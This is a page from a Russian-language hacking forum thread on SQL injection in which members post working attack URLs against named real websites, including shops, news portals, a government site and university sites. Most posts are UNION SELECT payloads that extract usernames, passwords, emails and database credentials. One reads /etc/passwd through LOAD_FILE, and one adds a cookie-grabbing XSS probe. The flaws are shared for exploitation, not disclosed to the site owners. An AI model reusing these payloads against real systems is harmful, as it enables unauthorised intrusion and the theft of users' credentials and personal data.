SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 7 of 798
  1. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    странно, помню в начале лета находил вот это:
    http://www.raggame.ru/news.asp?id=558&board=1'

    о баги не сообщал, через неделю его уже небыло, щас снова появилась... мистика ? :)
    притом, вообще на сайте небыло никаких ошибок, щас смотрю вообще ничего не фильтруется

    http://www.raggame.ru/default.asp?p_ind=116'&cl_id=
    http://www.raggame.ru/default.asp?p_ind=116&cl_id='

    вот только как заюзать хз, там вместе с insert запрос идет
     
    #121 pop_korn, 7 Nov 2006
    1 person likes this.
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://rinar.net/index.cgi?c=content&id=-1+union+select+1,2,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),4,5,6,7,8,9/*

    http://nornat.net/index.cgi?c=content&id=-1+union+select+1,2,333333333,4,5,6,7,8,9/*

    http://nornat.net/index.cgi?c=news&show=9999+union+select+1,2,3,4,5,6,7+from+admin/*

    http://zemliachestvo.com/religion/look.php?razdel=-1+union+select+1,2,3,4,5,AES_DECRYPT(AES_ENCRYPT(USER(),0x71),0x71),7,8,9,10/*
     
    #122 guest3297, 9 Nov 2006
  3. ka1r

    ka1r New Member

    Joined:
    11 Nov 2006
    Messages:
    6
    Likes Received:
    1
    Reputations:
    4
    http://studybank.info/viewdetails.php?id=-306%20union%20select%201,email,3,4,5,username,7,8,9 ,10,11,12,13,14%20from%20user/* здесь в таблице будет написан логин и пароль, а вот на фтп с этим не попадешь!
     
    #123 ka1r, 11 Nov 2006
  4. ka1r

    ka1r New Member

    Joined:
    11 Nov 2006
    Messages:
    6
    Likes Received:
    1
    Reputations:
    4
    http://www.olprint.ru/catalog.php?id=363'

    http://www.lasoon.com.ua/rus/news_big.php?id=-363%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*

    http://www.travelonline.ru/act.php?pg=shop_razdel&cat2=-310&id=363'%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*
    dalbwe He cmor

    http://www.stena.ru/portfolio-det.php?page=15&id=21'

    http://privet.zp.ua/place.php3?id=21'%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

    http://www.eatoutnewyork.com/orgs/show.php?ID=21'

    http://www.chayclub.ru/index.php?page=63&id=21'

    http://www.spektr-21.ru/read.phtm?id=21%20adnd%201=2
     
    #124 ka1r, 11 Nov 2006
  5. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Мобильные порталы.
    http://www.riot.ru/index.php?read&id=-1+union+select+user(),database()/*
    http://myppc.ru/2006/10/26/-1'+union+select+1/*.html

    Новостной портал.
    http://media.molgvard.ru/index.php?action=showpic&cat=110&pic=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19/*
     
    #125 guest3297, 13 Nov 2006
  6. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Уязвимость найденна не мной.
    +toxa+


    http://www.president.gov.mk/admin/
    http://www.president.gov.mk/info.asp?SectionID=11&InfoID=1+or+1=(SELECT+TOP+1+cast(UserID+as+nvarchar)%2B%27%3A%27%2Bcast(Username+as+nvarchar)%2B%27%3A%27%2Bcast(Password+as+nvarchar)+FROM+Users+where+UserID=1)--#top
     
    #126 guest3297, 14 Nov 2006
  7. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    http://www.comdig.org/topic.php?id_forum=-11+UNION+SELECT+1,2,3,4,5,6,database(),8,9,0,1,2,3,4/*

    +xss

    http://www.comdig.org/index.php?id_issue=2006.21%3Cscript%3Ealert(docume nt.cookie)%3C/script%3E
     
    #127 pop_korn, 14 Nov 2006
  8. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    Еще 1 шоп.
    _http://www.edgeshop.ru/edge2.php?Id=326+union+select+concat(database(),char(58),char(60,104,49,62,72,97,99,107,99,101,100,32,98,121,32,99,97,115,104,60,47,104,49,62))/*
     
    #128 guest3297, 14 Nov 2006
  9. InferNo23

    InferNo23 Elder - Старейшина

    Joined:
    5 Sep 2006
    Messages:
    183
    Likes Received:
    126
    Reputations:
    42
    MosTrud - Московская биржа трудa
    Code:
    http://www.mostrud.ru/partn.php?pid=120%20union%20select%20USER(),VERSION(),3,4,5/*
    и etc/passwd/ ...

    Code:
    http://www.mostrud.ru/partn.php?pid=120%20union%20select%20USER(),VERSION(),3,4,LOAD_FILE('/etc/passwd')/*
     
    #129 InferNo23, 15 Nov 2006
    Last edited: 15 Nov 2006
    1 person likes this.
  10. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    http://www.stumptuous.com/cms/displaysection.php?sid=-1+union+select+1,2/*
     
    #130 pop_korn, 16 Nov 2006
  11. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    OnContent (CMS)

    http://www.pslawnet.org/cms/index.php?pid=50'
     
    #131 pop_korn, 16 Nov 2006
  12. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    International Computer Music Conferenc :)
    _http://www.icmc2005.org/index.php?selectedPage=-76+UNION+SELECT+1,2,3,4,convert(user()%20using%20latin1),6,7,8/*
     
    #132 pop_korn, 19 Nov 2006
  13. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    http://www.law.pitt.edu
    Code:
    [COLOR=White]http://www.law.pitt.edu/feed/rss2.php?blog=research&catid=34+union+select+null,password,null,null,null,null,null,null,null,null,null,null,null,null,null+from%20mysql.user/*[/COLOR]
    http://career.coe.missouri.edu/
    Code:
    [COLOR=White]http://career.coe.missouri.edu/index.php?page=17+union+select+1,2,3,AES_DECRYPT(AES_ENCRYPT(user(),0x71),0x71),5,6,7,8,9,0,1+/*[/COLOR]
     
    #133 _-[A.M.D]HiM@S-_, 19 Nov 2006
  14. B1TT3R

    B1TT3R New Member

    Joined:
    20 Oct 2006
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Code:
    http://partner.km.ru/news_js.asp?DateTime=&ispicture=on&annot=on&targetWin=_top&Quantity=1&Encoding=Windows-1251&ShowWeather=&ChooseKanal=&OnlyTitle=&[b]font=10000%20UNION%20SELECT%20TABLE_NAME%20FROM%20INFORMATION_SCHEMA.TABLES[/b]&titletext=12&inftitle=12&inftext=12&theme=&color=fff8e7333333ffffff000000c0113bcacaca0000ff&whatShow=pict&vid=interview&width=300&idb=%7B46A58BDE-B173-4B77-9731-9026330FB003%7D&ids=%7B6C9EFA96-8323-4006-9F02-0E78AFBA60B0%7D
     
    #134 B1TT3R, 19 Nov 2006
    Last edited by a moderator: 3 Dec 2006
  15. 1ten0.0net1

    1ten0.0net1 Time out

    Joined:
    28 Nov 2005
    Messages:
    473
    Likes Received:
    330
    Reputations:
    389
    Журнал "Рынок ценных бумаг"
    http://www.rcb.ru/archive/articlesrcb.asp?aid=7275+and(1=1)--
     
    #135 1ten0.0net1, 20 Nov 2006
  16. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://www.handspc.ru/soft/?type=99999999+union+select+newsid,2,3,4+from+news/*
     
    #136 guest3297, 26 Nov 2006
  17. pop_korn

    pop_korn Elder - Старейшина

    Joined:
    13 Sep 2005
    Messages:
    148
    Likes Received:
    33
    Reputations:
    14
    Телекомпания "Метео ТВ" представляет: пароли юзеров из своей бд

    http://www.meteo-tv.ru/news/item.php?newsID=-1391+UNION+SELECT+1,2,password,login,5,6,7+from+users/*
     
    #137 pop_korn, 1 Dec 2006
  18. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://www.emotive.ru/shop/index.php?CID=9999999999+union+select+2,user()/*
    http://anelik.diaspora.ru/forum.php?action=read&mid=-29+union+select+1,2,3,4,5,6,email,8,9+from+forum/*
     
    #138 guest3297, 1 Dec 2006
  19. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    http://saun.ru/sauna/?sauna=-1+union+select+1,2,3,4,5,6,7,8/*
     
    #139 darky, 1 Dec 2006
  20. ka1r

    ka1r New Member

    Joined:
    11 Nov 2006
    Messages:
    6
    Likes Received:
    1
    Reputations:
    4
    cash писал
    forum.vbios.com

    http://forum.vbios.com/addons/kit/serverinfo.php?id=-1%20union%20select%20S_on,S_of,S_as,S_name,S_map,S_t,S_country,S_region,S_prior,S_id,S_adr,S_rating,S_players%20FROM%20kit_servers/*
    ошибка при http://forum.vbios.com/addons/kit/serverinfo.php?id=-1%20UNION%20SELECT%200,0,0,0,0,0,0,0,0,0,0,0,0,0/*
    там берем поля
     
    #140 ka1r, 2 Dec 2006
(You must log in or sign up to post here.)
Page 7 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.